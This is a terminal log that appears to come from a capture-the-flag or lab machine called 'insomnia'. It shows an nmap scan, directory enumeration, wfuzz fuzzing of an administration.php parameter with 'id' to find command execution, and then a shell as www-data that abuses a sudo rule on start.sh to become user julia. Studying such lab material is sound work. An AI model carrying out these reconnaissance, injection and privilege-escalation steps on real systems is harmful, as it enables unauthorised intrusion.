┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.112.252 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-1620:12 CST Nmap scan report for bogon (192.168.112.252) Host isup (0.0014s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 8080/tcp open http PHP cli server 5.5orlater (PHP 7.3.19-1) |_http-open-proxy: Proxy might be redirecting requests |_http-title: Chat MAC Address: D2:24:EE:B5:C6:9D (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop
TRACEROUTE HOP RTT ADDRESS 11.36 ms bogon (192.168.112.252)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
┌──(root㉿kakeru)-[~/tmp] └─# dirsearch -u 192.168.112.252:8080 -e php,jpg,html,js,txt,bak -i 200,300-399 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| )
Extensions: php, jpg, html, js, txt, bak | HTTP method: GET | Threads:25 Wordlist size:11988
┌──(root㉿kakeru)-[~/tmp] └─# curl http://192.168.112.252:8080//administration.php You are not allowed to view : <br>Your activity has been logged ┌──(root㉿kakeru)-[~/tmp] └─# curl http://192.168.112.252:8080/start.sh php -S 0.0.0.0:8080 ┌──(root㉿kakeru)-[~/tmp] └─# curl http://192.168.112.252:8080/chat.txt
┌──(root㉿kakeru)-[~/tmp] └─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 192.168.112.252:8080//administration.php?FUZZ=id --hh 65 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://192.168.112.252:8080//administration.php?FUZZ=id Total requests: 4744
===================================================================== ID Response Lines Word Chars Payload =====================================================================
www-data@insomnia:~/html$ sudo -u julia /bin/bash /var/www/html/start.sh [Sun Feb 16 07:57:36 2025] Failed to listen on 0.0.0.0:8080 (reason: Address already in use) julia@insomnia:/var/www/html$ id uid=1000(julia) gid=1000(julia) groups=1000(julia),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)